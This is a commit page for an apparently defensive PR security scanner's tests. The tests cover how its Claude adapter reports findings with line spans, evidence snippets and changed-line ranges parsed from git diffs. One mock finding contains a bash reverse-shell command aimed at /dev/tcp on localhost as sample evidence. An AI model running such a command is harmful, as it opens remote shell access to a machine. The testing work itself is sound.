Skip to content

Commit 3c06f0b

Browse files
fix: ensure that Claude will hallucinate less the code lines (#18)
* fix: ensure that Claude will hallucinate less the code lines * Add changeset
1 parent 4b042ea commit 3c06f0b

19 files changed

+1432
-43
lines changed

.changeset/ten-papayas-enjoy.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
---
2+
"layne": patch
3+
---
4+
5+
Fixes an issue in the Claude adapter that makes it hallucinate code lines when reporting it

src/__tests__/adapters/claude.test.js

Lines changed: 56 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -109,10 +109,14 @@ describe('runClaude()', () => {
109109
mockReadFile.mockResolvedValueOnce(DUMMY_CONTENT);
110110
mockCreate.mockResolvedValueOnce(findingResponse([{
111111
file: 'src/app.js',
112-
line: 42,
112+
startLine: 42,
113+
endLine: 42,
114+
anchorKind: 'line',
115+
anchorLine: 42,
113116
severity: 'high',
114117
message: 'Reverse shell detected',
115118
ruleId: 'reverse-shell',
119+
evidence: 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1',
116120
}]));
117121

118122
const findings = await runClaude({
@@ -125,8 +129,13 @@ describe('runClaude()', () => {
125129
expect(findings[0]).toMatchObject({
126130
file: 'src/app.js',
127131
line: 42,
132+
startLine: 42,
133+
endLine: 42,
134+
anchorKind: 'line',
135+
anchorLine: 42,
128136
severity: 'high',
129137
message: 'Reverse shell detected',
138+
evidence: 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1',
130139
ruleId: 'claude/reverse-shell',
131140
tool: 'claude',
132141
});
@@ -135,8 +144,8 @@ describe('runClaude()', () => {
135144
it('returns multiple findings', async () => {
136145
mockReadFile.mockResolvedValue(DUMMY_CONTENT);
137146
mockCreate.mockResolvedValueOnce(findingResponse([
138-
{ file: 'a.js', line: 1, severity: 'high', message: 'bad', ruleId: 'r1' },
139-
{ file: 'b.js', line: 2, severity: 'medium', message: 'meh', ruleId: 'r2' },
147+
{ file: 'a.js', startLine: 1, endLine: 1, severity: 'high', message: 'bad', ruleId: 'r1', evidence: 'bad' },
148+
{ file: 'b.js', startLine: 2, endLine: 3, severity: 'medium', message: 'meh', ruleId: 'r2', evidence: 'meh' },
140149
]));
141150

142151
const findings = await runClaude({
@@ -146,6 +155,8 @@ describe('runClaude()', () => {
146155
});
147156

148157
expect(findings).toHaveLength(2);
158+
expect(findings[0].startLine).toBe(1);
159+
expect(findings[1].endLine).toBe(3);
149160
expect(findings[0].ruleId).toBe('claude/r1');
150161
expect(findings[1].ruleId).toBe('claude/r2');
151162
});
@@ -272,4 +283,46 @@ describe('runClaude()', () => {
272283

273284
expect(mockCreate).toHaveBeenCalledTimes(1);
274285
});
286+
287+
it('numbers file lines and includes changed line ranges in the prompt', async () => {
288+
mockReadFile.mockResolvedValueOnce('first();\nsecond();');
289+
mockCreate.mockResolvedValueOnce(cleanResponse());
290+
291+
await runClaude({
292+
workspacePath: WORKSPACE,
293+
changedFiles: CHANGED_FILES,
294+
changedLineRanges: { 'src/app.js': [{ start: 2, end: 2 }] },
295+
toolConfig: ENABLED_CONFIG,
296+
});
297+
298+
const callArgs = mockCreate.mock.calls[0][0];
299+
const userContent = callArgs.messages[0].content;
300+
expect(callArgs.system).toContain('copy a short exact evidence snippet verbatim');
301+
expect(callArgs.system).toContain('Do not guess locations');
302+
expect(userContent).toContain('Changed lines in this PR: 2-2');
303+
expect(userContent).toContain('1 | first();');
304+
expect(userContent).toContain('2 | second();');
305+
});
306+
307+
it('accepts legacy line-only findings and normalizes them into spans', async () => {
308+
mockReadFile.mockResolvedValueOnce(DUMMY_CONTENT);
309+
mockCreate.mockResolvedValueOnce(findingResponse([{
310+
file: 'src/app.js',
311+
line: 7,
312+
severity: 'high',
313+
message: 'legacy shape',
314+
ruleId: 'legacy',
315+
evidence: 'console.log("hello");',
316+
}]));
317+
318+
const [finding] = await runClaude({
319+
workspacePath: WORKSPACE,
320+
changedFiles: CHANGED_FILES,
321+
toolConfig: ENABLED_CONFIG,
322+
});
323+
324+
expect(finding.line).toBe(7);
325+
expect(finding.startLine).toBe(7);
326+
expect(finding.endLine).toBe(7);
327+
});
275328
});

src/__tests__/dispatcher.test.js

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ const { dispatch } = await import('../dispatcher.js');
2929
const BASE = {
3030
workspacePath: '/tmp/ws',
3131
changedFiles: ['src/app.js', 'src/utils.js'],
32+
changedLineRanges: { 'src/app.js': [{ start: 2, end: 4 }] },
3233
baseSha: 'abc123',
3334
baseRef: 'main',
3435
labels: [],
@@ -134,6 +135,7 @@ describe('dispatch()', () => {
134135
await dispatch(BASE);
135136
expect(runClaude).toHaveBeenCalledWith(expect.objectContaining({
136137
toolConfig: { enabled: false, model: 'claude-haiku-4-5-20251001' },
138+
changedLineRanges: { 'src/app.js': [{ start: 2, end: 4 }] },
137139
}));
138140
});
139141

src/__tests__/fetcher.test.js

Lines changed: 46 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ vi.mock('child_process', () => ({
1717
execFile: mockExecFile,
1818
}));
1919

20-
const { createWorkspace, setupRepo, getChangedFiles, checkoutFiles, cleanupWorkspace } = await import('../fetcher.js');
20+
const { createWorkspace, setupRepo, getChangedFiles, getChangedLineRanges, checkoutFiles, cleanupWorkspace } = await import('../fetcher.js');
2121

2222
// ---------------------------------------------------------------------------
2323
// Helpers
@@ -179,6 +179,51 @@ describe('getChangedFiles()', () => {
179179

180180
// ---------------------------------------------------------------------------
181181

182+
describe('getChangedLineRanges()', () => {
183+
beforeEach(() => vi.clearAllMocks());
184+
185+
it('parses added and modified line ranges from a zero-context diff', async () => {
186+
mockExecFile.mockImplementationOnce((cmd, args, cb) => cb(null, [
187+
'diff --git a/src/app.js b/src/app.js',
188+
'--- a/src/app.js',
189+
'+++ b/src/app.js',
190+
'@@ -2,0 +3,2 @@',
191+
'+x',
192+
'+y',
193+
'diff --git a/src/util.js b/src/util.js',
194+
'--- a/src/util.js',
195+
'+++ b/src/util.js',
196+
'@@ -10 +10 @@',
197+
'-old',
198+
'+new',
199+
].join('\n'), ''));
200+
201+
const ranges = await getChangedLineRanges({ workspacePath: '/tmp/ws', baseSha: 'b', headSha: 'h' });
202+
203+
expect(ranges).toEqual({
204+
'src/app.js': [{ start: 3, end: 4 }],
205+
'src/util.js': [{ start: 10, end: 10 }],
206+
});
207+
});
208+
209+
it('ignores deleted hunks that have no lines in the head revision', async () => {
210+
mockExecFile.mockImplementationOnce((cmd, args, cb) => cb(null, [
211+
'diff --git a/src/app.js b/src/app.js',
212+
'--- a/src/app.js',
213+
'+++ b/src/app.js',
214+
'@@ -5,2 +5,0 @@',
215+
'-x',
216+
'-y',
217+
].join('\n'), ''));
218+
219+
const ranges = await getChangedLineRanges({ workspacePath: '/tmp/ws', baseSha: 'b', headSha: 'h' });
220+
221+
expect(ranges).toEqual({ 'src/app.js': [] });
222+
});
223+
});
224+
225+
// ---------------------------------------------------------------------------
226+
182227
describe('checkoutFiles()', () => {
183228
beforeEach(() => {
184229
vi.clearAllMocks();

0 commit comments

Comments
 (0)